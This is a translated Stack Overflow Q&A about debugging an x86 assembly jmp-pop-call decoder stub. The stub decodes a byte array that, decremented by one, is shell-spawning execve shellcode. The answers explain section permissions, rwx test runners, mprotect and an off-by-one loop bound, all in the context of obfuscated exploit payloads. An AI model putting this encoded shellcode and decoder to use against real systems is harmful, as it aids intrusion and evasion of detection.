【问题标题】:Assembly decoder with jmp-pop-call technique使用 jmp-pop-call 技术的汇编解码器
【发布时间】:2015-02-17 20:46:40
【问题描述】:

这是我无法找出错误的部分代码。我正在使用 jmp-pop-call 技术,我得到的是“分段错误”。尝试使用 GDB,但事情真的很模糊。每个字节在 python 中由 1 编码,我想要的是使用以下代码部分进行解码:

global _start

section .text

_start:

    jmp short call_shellcode

decoder:

    pop esi
    xor eax, eax
    mov edx, 23

decode:

    mov bl, byte[esi+eax]
    dec byte[esi+eax]

cont:

    cmp eax,edx
    jz short encodedShellcode
    inc eax
    jmp short decode

call_shellcode:

    call decoder
    encodedShellcode db 0x32,0xc1,0x51,0x69,0x30,0x74,0x69,0x69,0x30,0x63,0x6a,0x6f,0x8a,0xe4,0x51,0x54,0x8a,0xe2,0x9a,0xb1,0x0c,0xce,0x81,

【问题讨论】:

  • .text 部分默认为只读。请参阅this answer 了解解决方法。

标签: python assembly x86 decoder


【解决方案1】:

如果您打算将这个 shellcode 放在漏洞利用之后,源文件中定义的部分权限将无关紧要。通常,人们会使用 nasm -f bin (或来自另一个汇编器的类似东西)编译类似的东西,并假设代码正在运行的内存已经是读/写/执行的。

出于测试目的,您可以创建一个测试运行程序,它分配一些 rwx 内存,写入已编译的代码,然后跳转到它。如果上面的代码是作为tester使用的,实际上并不是shellcode前面的decode header,那么修改section属性就可以了。

或者,一旦您获得代码的位置,您可以使用 mprotect/VirtualProtect 并将代码所在的页面设置为 rwx,然后再更改编码字节。

当我为混淆代码编写解码存根时,我通常将解码器部分与文本部分中的数据组装在一起(类似于您正在做的事情),但将汇编器输出设置为二进制(没有图像类型,只是组装 x86字节码)。该输出在写入 rwx 内存时应该可以正常运行。

【讨论】:

    【解决方案2】:

    在新的 CPU 中使用自修改代码不是一个好主意,因为有缓存。它会很慢。

    在上面的代码中,我可以看到两个错误来源:

    1. 如果代码部分是只读的,dec byte [esi+eax] 将失败。这取决于汇编器/链接器。

    2. encodedShesscode db 语句中的代码可能是错误的并导致分段错误。您递减此代码的每个字节,但问题中并不清楚代码是什么以及更改后会是什么。

    修复提示:

    1. 使您的段读/写。这是自我修改代码的必要条件。
    2. 使用更好的调试器,在encodedShellcode 上设置断点并检查解码后的指令是否存在问题。

    【讨论】:

      【解决方案3】:
      mov edx, 23
      

      你做的迭代太多了!只需用 22 初始化 EDX。

      encodedShellcode db 0x32,0xc1,0x51,0x69,0x30,0x74,0x69,0x69,0x30,0x63,0x6a,0x6f,0x8a,0xe4,0x51,0x54,0x8a,0xe2,0x9a,0xb1,0x0c,0xce,0x81,
      

      当你用逗号终止一行时,你的汇编器的行为是什么?

      【讨论】:

        猜你喜欢
        • 2018-05-25
        • 2015-05-11
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        相关资源
        最近更新 更多